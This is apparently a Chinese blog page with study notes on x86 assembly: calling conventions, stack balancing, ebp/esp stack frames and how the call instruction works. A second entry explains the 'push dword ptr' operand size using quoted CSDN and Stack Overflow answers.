2.3.1 参数传递方式

还是之前那个例子,swap函数有2个参数,int a,int b。这两个参数,入栈的顺序谁先谁后?
其实是从左到右入栈还是从右到左入栈都可以,只要函数调用者和函数内部使用相同的顺序存取参数即可。在上述的所有调用约定中,参数总是从右到左压栈,也就是最后一个参数先入栈。我们可以使用一份伪代码描述这个过程
push b;      //先压入参数b
push a;      //再压入参数a
call swap;  //调用swap函数
其实从这里我们就可以理解为什么在函数内部,不能改变函数外部参数的值:因为函数内部访问到的参数其实是压入栈的变量值,对它的修改只是修改了栈中的"副本"。指针和引用参数才能真正地改变外部变量的值。

2.3.2 堆栈平衡方式

因为函数调用过程中,参数需要压栈,所以在函数调用结束后,用于函数调用的压栈参数也需要退栈。那这个工作是交给调用者完成,还是在函数内部自己完成?其实两种都可以。调用者负责平衡堆栈的主要好处是可以实现可变参数(关于可变参数的话题,在此不做过多讨论。如果可能的话,我们可以以一篇单独的文章来讲这个问题),因为在参数可变的情况下,只有调用者才知道具体的压栈参数有几个。
下面列出了常见调用约定的堆栈平衡方式:
调用约定 堆栈平衡方式
__stdcall 函数自己平衡
__cdecl 调用者负责平衡
__thiscall 调用者负责平衡
__fastcall 调用者负责平衡
__naked 编译器不负责平衡,由编写者自己负责

2.4. 栈帧的概念:从esp和ebp说起

为什么我们需要ebp和esp2个寄存器来访问栈?这种观念其实来自于函数的层级调用:函数A调用函数B,函数B调用函数C,函数C调用函数D...
这种调用可能会涉及非常多的层次。编译器需要保证在这种复杂的嵌套调用中,能够正确地处理每个函数调用的堆栈平衡。所以我们引入了2个寄存器:
  1. ebp指向了本次函数调用开始时的栈顶指针,它也是本次函数调用时的“栈底”(这里的意思是,在一次函数调用中,ebp向下是函数的临时变量使用的空间)。在函数调用开始时,我们会使用
mov ebp,esp 
把当前的esp保存在ebp中。
  1. esp,它指向当前的栈顶,它是动态变化的,随着我们申请更多的临时变量,esp值不断减小(正如前文所说,栈是向下生长的)。
  2. 函数调用结束,我们使用
mov esp,ebp
来还原之前保存的esp。
在函数调用过程中,ebp和esp之间的空间被称为本次函数调用的“栈帧”。函数调用结束后,处于栈帧之前的所有内容都是本次函数调用过程中分配的临时变量,都需要被“返还”。这样在概念上,给了函数调用一个更明显的分界。下图是一个程序运行的某一时刻的栈帧图:

3. 汇编中关于“函数调用”的实现

上面铺陈了很多的汇编层面的概念后,我们终于可以切回到我们本次的主题:函数调用
函数调用其实可以看做4个过程,也就是本篇标题:
  1. 压栈: 函数参数压栈,返回地址压栈
  2. 跳转: 跳转到函数所在代码处执行
  3. 执行: 执行函数代码
  4. 返回: 平衡堆栈,找出之前的返回地址,跳转回之前的调用点之后,完成函数调用

1. call指令 压栈和跳转

下面我们看一下函数调用指令
0x210000 call swap;
0x210005 mov ecx,eax; 
我们可以把它理解为2个指令:
push 0x210005;
jmp swap;
也就是,首先把call指令的下一条指令地址作为本次函数调用的返回地址压栈,然后使用jmp指令修改指令指针寄存器EIP,使cpu执行swap函数的指令代码。


2019年1月20日星期日

关于:push dword ptr ...


push dword ptr ds:[ebx+0x34]
  • x ptr 介绍
    • https://blog.csdn.net/GaryZhang29/article/details/2439504

      8.5 指令要处理的数据有多长?
      8086CPU的指令,可以处理两种尺寸的数据,byte和word。所以在机器指令中要指明,指令进行的是字操作还是字节操作。对于这个问题,汇编语言中用一下方法处理。
      (1)通过寄存器名指明要处理的数据的尺寸。
      例如:
      下面的指令中,寄存器指明了指令进行的是字操作是字操作:
      mov ax,1
      mov bx,ds:[0]
      mov ds,ax
      mov ds:[0],ax
      inc ax
      add ax,1000

      下面的指令中,寄存器指明了指令进行的是字节操作
      mov al,1
      mov al,bl
      mov al,ds:[0]
      mov ds:[0],al
      inc al
      add al,100
      (2)在没有寄存器名存在的情况下,用操作符 X ptr 指明内存单元的长度,X在汇编指令中可以为word或byte
      例如:
      下面的指令中,用word ptr 指明了指令访问的内存单元是一个字单元:
      mov word ptr ds:[0],1
      inc word ptr [bx]
      inc word ptr ds:[0]
      add word ptr [bx],2
      下面的指令中,用byte ptr 指明了指令访问的内存单元是一个字单元:
      mov byte ptr ds:[0],1
      inc byte ptr [bx]
      inc byte ptr ds:[0]
      add byte ptr [bx],2
        在没有寄存器参与的内存单元访问指令中,用word prt 或byte ptr 显性地指明所要访问的内存单元的长度是很必要的。否则,CPU无法得知所要访问的单元,还是字节单元。
      假如我们用Debug查看内存的结果如下:
      2000:1000 FF FF FF FF FF FF ......
      那么指令:
      mov ax,2000H
      mov ds,ax
      mov byte ptr [1000H],1
      将使内存中的内容变为:
      2000: 1000 01 FF FF FF FF FF ......
      而指令:
      mov ax,2000H
      mov ds,ax
      mov word ptr [1000H],1
      将使内存中的内容变为:
      2000:1000 01 00 FF FF FF FF ......
        这是因为 mov byte ptr [1000H],1访问的是地址为 ds:1000H 的字节单元,修改的是ds:1000H 单元的内容;而mov word ptr [1000H],1 访问的是地址为 ds:1000H 的字单元,修改的是 ds:1000H 和 ds:1001H 两个单元的内容。

      (3) 其他方法
        有些指令默认了访问的是字单元还是字节单元,比如:push [1000H] 就不用指明访问的是字单元还是字节单元,因为push指令只进行字操作。
      【popexizhi: 这里的新问题那 push dword ptr ds:[eax + 0x34] 的dword又有什么用呢?】

  • push dword ptr ...
    • https://stackoverflow.com/questions/21595357/what-does-push-dword-ptr-eax22-mean

      The push instruction, much like many other x86 instructions, can take a variety of operands: immediate values, registers, and memory addresses:
      push 10                 ; pushes the value 10 (32 bits in 32-bit mode)
      push eax                ; pushes the contents of the 32-bit register eax
      push DWORD [ebx + 42]   ; pushes 32 bits from the memory location ebx + 42
      The register form infers the size from the size of the register. The memory form needs to have the size specified (e.g. here shown in Intel syntax). For immediate values, the operand size is either 16 or 32 bits; the current mode is default, and the other size can be explicitly selected (e.g. push WORD 10 in 32-bit mode).

      [popexizhi: ok,这里很完美的回答了上面的问题,push dword ptr ds:[ebx+0x30] 解释为将ds:[ebx + 0x30] 中所指向的32的内存地址push了]